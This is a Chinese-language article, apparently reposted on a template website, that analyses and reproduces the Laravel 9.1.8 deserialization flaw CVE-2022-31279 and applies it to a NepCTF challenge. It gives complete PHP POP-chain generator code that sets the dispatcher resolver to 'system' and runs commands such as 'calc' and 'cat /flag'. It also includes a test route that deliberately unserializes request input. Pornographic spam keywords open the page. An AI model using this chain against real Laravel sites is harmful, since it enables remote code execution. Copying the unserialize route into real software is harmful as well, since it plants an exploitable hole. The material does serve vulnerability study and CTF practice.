国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)

這篇具有很好參考價值的文章主要介紹了Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

反序列化漏洞是如今很常見的漏洞類型,有很多分類,也有很多繞過方式。本文選取了一個今年比較典型的反序列化漏洞,進(jìn)行了一個分析并復(fù)現(xiàn)。

漏洞詳情

Laravel是一套簡潔、優(yōu)雅的PHP Web開發(fā)框架。
近日,Laravel 被披露存在多個安全漏洞,可允許通過反序列化POP鏈實現(xiàn)遠(yuǎn)程代碼執(zhí)行,如下:

CVE-2022-31279:Laravel遠(yuǎn)程代碼執(zhí)行漏洞
Laravel 9.1.8在處理反序列化數(shù)據(jù)時,允許通過 IlluminateBroadcastingPendingBroadcast.php中的 __destructFakerGenerator.php中的 __call中的反序列化POP鏈實現(xiàn)遠(yuǎn)程代碼執(zhí)行。

漏洞分析

根據(jù)漏洞信息的描述, 跟進(jìn)src/Illuminate/Broadcasting/PendingBroadcast.php中的__destruct方法, 可以看到這里的$this->events$this->event均為可控的, 尋找可用的dispatch方法:
Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)
Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)
跟進(jìn)src/Illuminate/Bus/Dispatcher.php中的dispatch方法, 這里的$command$this->queueResolver均是可控的:
Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)
跟進(jìn)dispatchToQueue方法, $command$this->queueResolver均是可控的, 可以利用該方法中的call_user_func方法來進(jìn)行命令執(zhí)行的利用:
Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)
接下來就是命令執(zhí)行的語句, 注意到上圖中的代碼$connection = $command->connection ?? null;, 這里可以通過src/Illuminate/Broadcasting/BroadcastEvent.php中的類中變量來控制$connection, 從而達(dá)到命令執(zhí)行的目的。

POP Chain

<?php

namespace Illuminate\Contracts\Queue{

    interface ShouldQueue {}
}

namespace Illuminate\Bus{

    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct() {}
    }

    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct() {
            $this->event = new BroadcastEvent();
            $this->event->connection = "calc";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}

namespace {
    $pop = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($pop));
}

漏洞復(fù)現(xiàn)

我們從laravel官網(wǎng)下載了Laravel 9.1.8的源碼之后,添加一個入口,修改routes\web.php如下:

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {

    $vuln = base64_decode($request->input("vuln"));
    unserialize($ser);
    return "H3rmesk1t";
});

添加了入口之后,通過上面的分析和得到的POP鏈,即可進(jìn)行復(fù)現(xiàn):
Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)

相同漏洞的復(fù)現(xiàn)

本次復(fù)現(xiàn),源碼來源于cj師傅之前出題所用的源碼和2022NepCTF的題目:

下載源碼后,是Laravel框架:
Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)
Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)

hello路由是一個反序列化點
可以用POP鏈:

<?php
namespace Illuminate\Contracts\Queue{
  interface ShouldQueue {}
}
namespace Illuminate\Bus{
  class Dispatcher{
    protected $container;
    protected $pipeline;
    protected $pipes = [];
    protected $handlers = [];
    protected $queueResolver;
    function __construct()
    {
        $this->queueResolver = "system";
    }
  }
}
namespace Illuminate\Broadcasting{
  use Illuminate\Contracts\Queue\ShouldQueue;
  class BroadcastEvent implements ShouldQueue {
    function __construct() {}
  }
  class PendingBroadcast{
    protected $events;
    protected $event;
    function __construct() {
        $this->event = new BroadcastEvent();
        $this->event->connection = "cat /flag";
        $this->events = new \Illuminate\Bus\Dispatcher();
    }
  }
}
namespace {
  $pop = new \Illuminate\Broadcasting\PendingBroadcast();
  echo base64_encode(serialize($pop));
}

可以得到結(jié)果:

Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)
Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)
因此復(fù)現(xiàn)成功!文章來源地址http://www.zghlxwxcb.cn/news/detail-459320.html

到了這里,關(guān)于Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • TP 5.0.24反序列化漏洞分析

    TP 5.0.24反序列化漏洞分析

    很久沒發(fā)過文章了,最近在研究審計鏈條相關(guān)的東西,codeql,ast,以及一些java的東西很多東西還是沒學(xué)明白就先不寫出來丟人了,寫這篇tp的原因呢 雖然這個漏洞的分析文章蠻多了,但是還是跟著看了下,一方面是因為以前對pop鏈挖掘一直學(xué)的懵懵懂懂的 ctf的一些pop鏈能出

    2024年01月17日
    瀏覽(25)
  • Java反序列化漏洞-URLDNS鏈分析

    Java反序列化漏洞-URLDNS鏈分析

    目錄 一、前置知識 反射 二、分析 1. URL 2. HashMap 3. 解決一些問題 反射修改字段值 三、POC 四、利用鏈 菜鳥教程 Java 序列化 Java安全-反射 URLDNS鏈的作用就是在目標(biāo)主機(jī)中可能存在反序列化輸入的數(shù)據(jù)的地方,傳入序列化后的URLDNS利用鏈,如果目標(biāo)主機(jī)解析了這個URL地址,那么

    2024年02月04日
    瀏覽(23)
  • fastjson 1.2.24  反序列化漏洞(審計分析)

    fastjson 1.2.24 反序列化漏洞(審計分析)

    環(huán)境 JDK 8u181 Fastjson 1.2.24 POC 跟進(jìn) parse 方法 跟進(jìn)到底層deserialze 方法 Poc 中傳入的 dataSourceName : ldap://192.168.3.229:8084/vnSYPYwMs 值 這里實際對應(yīng) setDataSourceName 方法,調(diào)用此方法并傳入 ldap 跟進(jìn) setDataSourceName 方法,這里只是簡單賦值 ? 步出回此方法 繼續(xù)步出,進(jìn)入parseRest方法 跟進(jìn)

    2023年04月14日
    瀏覽(37)
  • thinkphp5.0.24反序列化漏洞分析

    thinkphp5.0.24反序列化漏洞分析

    thinkphp5框架: thinkphp5的入口文件在 publicindex.php ,訪問 反序列化起點 寫一個反序列化入口點 全局搜索 __destruct() 函數(shù) thinkphp_5.0.24thinkphplibrarythinkprocesspipesWindows.php 中的 __destruct() 函數(shù),調(diào)用了removeFiles() 跟進(jìn)removeFiles(),第163行的file_exists可以觸發(fā) __toString 方法 全局搜索

    2023年04月08日
    瀏覽(32)
  • Java反序列化漏洞-CC1利用鏈分析

    Java反序列化漏洞-CC1利用鏈分析

    目錄 一、前置知識 1. 反射 2. Commons Collections是什么 3. 環(huán)境準(zhǔn)備 二、分析利用鏈 1. Transformer 2. InvokeTransformer 執(zhí)行命令 3. ConstantTransformer 4. ChainedTransformer 執(zhí)行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、編寫POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    瀏覽(19)
  • 反序列化漏洞及漏洞復(fù)現(xiàn)

    反序列化漏洞及漏洞復(fù)現(xiàn)

    問題 :為什么要序列化? 序列化,“將對象的狀態(tài)信息轉(zhuǎn)換為可以存儲或傳輸?shù)男问降倪^程”,這種形式大多為字節(jié)流、字符串、Json 串。在序列化期間內(nèi),將對象當(dāng)前狀態(tài)寫?到臨時或永久性的存儲區(qū)。以后,就可以通過從存儲區(qū)中讀取或還原(反序列化)對象的狀態(tài),重

    2024年02月09日
    瀏覽(27)
  • 漏洞復(fù)現(xiàn)——shiro反序列化

    漏洞復(fù)現(xiàn)——shiro反序列化

    今天咱們的主角是shiro反序列化命令執(zhí)行漏洞。該漏洞在HVV等大型攻防項目中,經(jīng)常被作為突破口。簡單介紹了解一下還是很有必要的。廢話不多說,進(jìn)入正題。 一、漏洞描述: Apache Shiro是美國阿帕奇(Apache)軟件基金會的一套用于執(zhí)行認(rèn)證、授權(quán)、加密和會話管理的Java安

    2024年02月09日
    瀏覽(25)
  • typecho 反序列化漏洞復(fù)現(xiàn)

    typecho 反序列化漏洞復(fù)現(xiàn)

    下載typecho14.10.10? 安裝,這里需要安裝數(shù)據(jù)庫 ?POC.php ?POST數(shù)據(jù)包如下,訪問install.php并攜帶參數(shù)finish,Referer來自本網(wǎng)站,POST傳遞惡意參數(shù) 步驟和前面一樣,把payload放__typecho_config=就行

    2024年02月09日
    瀏覽(27)
  • Fastjson反序列化漏洞復(fù)現(xiàn)小結(jié)

    Fastjson反序列化漏洞復(fù)現(xiàn)小結(jié)

    簡單來說:Fastjson是解析JSON格式的字符串的,允許用戶在輸入JSON串時通過“@type”鍵對應(yīng)的value指定任意反序列化類名,進(jìn)而執(zhí)行類里的惡意代碼。 1、Fastjson1.2.24遠(yuǎn)程代碼執(zhí)行(CNVD-2017-02833 ) 2、Fastjson=1.2.47遠(yuǎn)程代碼執(zhí)行漏洞(CNVD-2019-22238) 3、Fstjson =1.2.60 遠(yuǎn)程代碼執(zhí)行漏洞

    2023年04月08日
    瀏覽(25)
  • ActiveMQ反序列化漏洞原理+復(fù)現(xiàn)

    ActiveMQ反序列化漏洞原理+復(fù)現(xiàn)

    ActiveMQ反序列化漏洞 ActiveMQ ActiveMQ是開源消息總線,消息中間件 工作原理 通過使用消息隊列,實現(xiàn)服務(wù)的異步處理,主要目的是減少請求響應(yīng)時間和解耦合。 消息隊列,服務(wù)器A將客戶發(fā)起的請求放入服務(wù)器B的消息隊列中,服務(wù)器B從消息隊列中取出并處理。 從以上內(nèi)容中可

    2024年02月05日
    瀏覽(47)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包